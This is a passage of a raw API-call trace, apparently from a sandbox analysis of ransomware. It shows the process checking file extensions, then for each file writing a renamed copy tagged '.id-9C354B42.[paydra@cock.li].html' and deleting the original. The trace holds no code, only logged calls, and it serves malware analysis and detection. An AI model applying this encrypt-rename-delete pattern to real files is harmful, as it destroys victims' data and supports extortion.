(lpString=".bz2") returned 4 [0044.459] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.459] lstrlenW (lpString=".7z") returned 3 [0044.459] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0044.459] lstrlenW (lpString=".dbf") returned 4 [0044.459] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0044.459] lstrlenW (lpString=".1cd") returned 4 [0044.459] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0044.459] lstrlenW (lpString=".jpg") returned 4 [0044.459] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0044.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0044.459] lstrlenW (lpString=".doc") returned 4 [0044.459] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.459] lstrlenW (lpString=".docx") returned 5 [0044.459] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.460] lstrlenW (lpString=".pdf") returned 4 [0044.460] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.460] lstrlenW (lpString=".xls") returned 4 [0044.460] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.460] lstrlenW (lpString=".xlsx") returned 5 [0044.460] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.460] lstrlenW (lpString=".ppt") returned 4 [0044.460] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0044.460] lstrlenW (lpString=".zip") returned 4 [0044.460] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.460] lstrlenW (lpString=".rar") returned 4 [0044.460] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.460] lstrlenW (lpString=".bz2") returned 4 [0044.460] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.460] lstrlenW (lpString=".7z") returned 3 [0044.460] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0044.460] lstrlenW (lpString=".dbf") returned 4 [0044.460] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0044.460] lstrlenW (lpString=".1cd") returned 4 [0044.460] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0044.460] lstrlenW (lpString=".jpg") returned 4 [0044.460] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.460] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.460] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0044.476] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2181) returned 1 [0044.476] CloseHandle (hObject=0x20c) returned 1 [0044.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 0x20 [0044.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0044.476] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.476] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0044.478] GetLastError () returned 0x0 [0044.478] ReadFile (in: hFile=0x20c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x885, lpOverlapped=0x0) returned 1 [0044.479] WriteFile (in: hFile=0x1dc, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x890, lpOverlapped=0x0) returned 1 [0044.481] ReadFile (in: hFile=0x20c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.481] WriteFile (in: hFile=0x1dc, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.481] SetEndOfFile (hFile=0x1dc) returned 1 [0044.481] CloseHandle (hObject=0x1dc) returned 1 [0044.481] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.481] SetEndOfFile (hFile=0x20c) returned 1 [0044.482] CloseHandle (hObject=0x20c) returned 1 [0044.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0044.482] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 1 [0044.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0044.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0044.482] lstrlenW (lpString=".doc") returned 4 [0044.482] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.482] lstrlenW (lpString=".docx") returned 5 [0044.482] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.482] lstrlenW (lpString=".pdf") returned 4 [0044.482] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.482] lstrlenW (lpString=".xls") returned 4 [0044.482] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.482] lstrlenW (lpString=".xlsx") returned 5 [0044.483] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.483] lstrlenW (lpString=".ppt") returned 4 [0044.483] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0044.483] lstrlenW (lpString=".zip") returned 4 [0044.483] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.483] lstrlenW (lpString=".rar") returned 4 [0044.483] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.483] lstrlenW (lpString=".bz2") returned 4 [0044.483] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.483] lstrlenW (lpString=".7z") returned 3 [0044.483] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0044.483] lstrlenW (lpString=".dbf") returned 4 [0044.483] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0044.483] lstrlenW (lpString=".1cd") returned 4 [0044.483] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0044.483] lstrlenW (lpString=".jpg") returned 4 [0044.483] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0044.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0044.483] lstrlenW (lpString=".doc") returned 4 [0044.483] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.483] lstrlenW (lpString=".docx") returned 5 [0044.483] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.483] lstrlenW (lpString=".pdf") returned 4 [0044.483] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.483] lstrlenW (lpString=".xls") returned 4 [0044.483] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.484] lstrlenW (lpString=".xlsx") returned 5 [0044.484] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.484] lstrlenW (lpString=".ppt") returned 4 [0044.484] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0044.484] lstrlenW (lpString=".zip") returned 4 [0044.484] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.484] lstrlenW (lpString=".rar") returned 4 [0044.484] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.484] lstrlenW (lpString=".bz2") returned 4 [0044.484] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.484] lstrlenW (lpString=".7z") returned 3 [0044.484] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0044.484] lstrlenW (lpString=".dbf") returned 4 [0044.484] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0044.484] lstrlenW (lpString=".1cd") returned 4 [0044.484] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0044.484] lstrlenW (lpString=".jpg") returned 4 [0044.484] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.484] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.484] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.484] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0044.485] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=20627) returned 1 [0044.485] CloseHandle (hObject=0x20c) returned 1 [0044.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 0x20 [0044.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.485] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0044.486] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.486] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0044.486] GetLastError () returned 0x0 [0044.486] ReadFile (in: hFile=0x20c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x5093, lpOverlapped=0x0) returned 1 [0044.488] WriteFile (in: hFile=0x1dc, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x50a0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x50a0, lpOverlapped=0x0) returned 1 [0044.489] ReadFile (in: hFile=0x20c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.489] WriteFile (in: hFile=0x1dc, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.489] SetEndOfFile (hFile=0x1dc) returned 1 [0044.489] CloseHandle (hObject=0x1dc) returned 1 [0044.489] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.489] SetEndOfFile (hFile=0x20c) returned 1 [0044.490] CloseHandle (hObject=0x20c) returned 1 [0044.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0044.490] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 1 [0044.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0044.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0044.491] lstrlenW (lpString=".doc") returned 4 [0044.491] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.491] lstrlenW (lpString=".docx") returned 5 [0044.491] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.491] lstrlenW (lpString=".pdf") returned 4 [0044.491] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.491] lstrlenW (lpString=".xls") returned 4 [0044.491] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.491] lstrlenW (lpString=".xlsx") returned 5 [0044.491] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.491] lstrlenW (lpString=".ppt") returned 4 [0044.491] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0044.491] lstrlenW (lpString=".zip") returned 4 [0044.491] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.491] lstrlenW (lpString=".rar") returned 4 [0044.491] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.491] lstrlenW (lpString=".bz2") returned 4 [0044.491] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.491] lstrlenW (lpString=".7z") returned 3 [0044.491] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0044.491] lstrlenW (lpString=".dbf") returned 4 [0044.491] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0044.491] lstrlenW (lpString=".1cd") returned 4 [0044.492] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0044.492] lstrlenW (lpString=".jpg") returned 4 [0044.492] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0044.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0044.492] lstrlenW (lpString=".doc") returned 4 [0044.492] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.492] lstrlenW (lpString=".docx") returned 5 [0044.492] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.492] lstrlenW (lpString=".pdf") returned 4 [0044.492] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.492] lstrlenW (lpString=".xls") returned 4 [0044.492] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.492] lstrlenW (lpString=".xlsx") returned 5 [0044.492] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.492] lstrlenW (lpString=".ppt") returned 4 [0044.492] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0044.492] lstrlenW (lpString=".zip") returned 4 [0044.492] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.492] lstrlenW (lpString=".rar") returned 4 [0044.492] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.492] lstrlenW (lpString=".bz2") returned 4 [0044.492] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.492] lstrlenW (lpString=".7z") returned 3 [0044.492] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0044.492] lstrlenW (lpString=".dbf") returned 4 [0044.492] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0044.493] lstrlenW (lpString=".1cd") returned 4 [0044.493] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0044.493] lstrlenW (lpString=".jpg") returned 4 [0044.493] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.493] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.493] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.493] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0044.493] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1560) returned 1 [0044.493] CloseHandle (hObject=0x20c) returned 1 [0044.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 0x20 [0044.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.493] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0044.494] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.494] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.494] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0044.496] GetLastError () returned 0x0 [0044.496] ReadFile (in: hFile=0x20c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x618, lpOverlapped=0x0) returned 1 [0044.497] WriteFile (in: hFile=0x180, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x620, lpOverlapped=0x0) returned 1 [0044.498] ReadFile (in: hFile=0x20c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.498] WriteFile (in: hFile=0x180, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.498] SetEndOfFile (hFile=0x180) returned 1 [0044.498] CloseHandle (hObject=0x180) returned 1 [0044.498] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.498] SetEndOfFile (hFile=0x20c) returned 1 [0044.499] CloseHandle (hObject=0x20c) returned 1 [0044.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0044.499] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 1 [0044.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0044.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0044.500] lstrlenW (lpString=".doc") returned 4 [0044.500] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.500] lstrlenW (lpString=".docx") returned 5 [0044.500] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.500] lstrlenW (lpString=".pdf") returned 4 [0044.500] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.500] lstrlenW (lpString=".xls") returned 4 [0044.500] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.500] lstrlenW (lpString=".xlsx") returned 5 [0044.500] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.500] lstrlenW (lpString=".ppt") returned 4 [0044.500] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0044.500] lstrlenW (lpString=".zip") returned 4 [0044.500] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.500] lstrlenW (lpString=".rar") returned 4 [0044.500] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.500] lstrlenW (lpString=".bz2") returned 4 [0044.500] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") 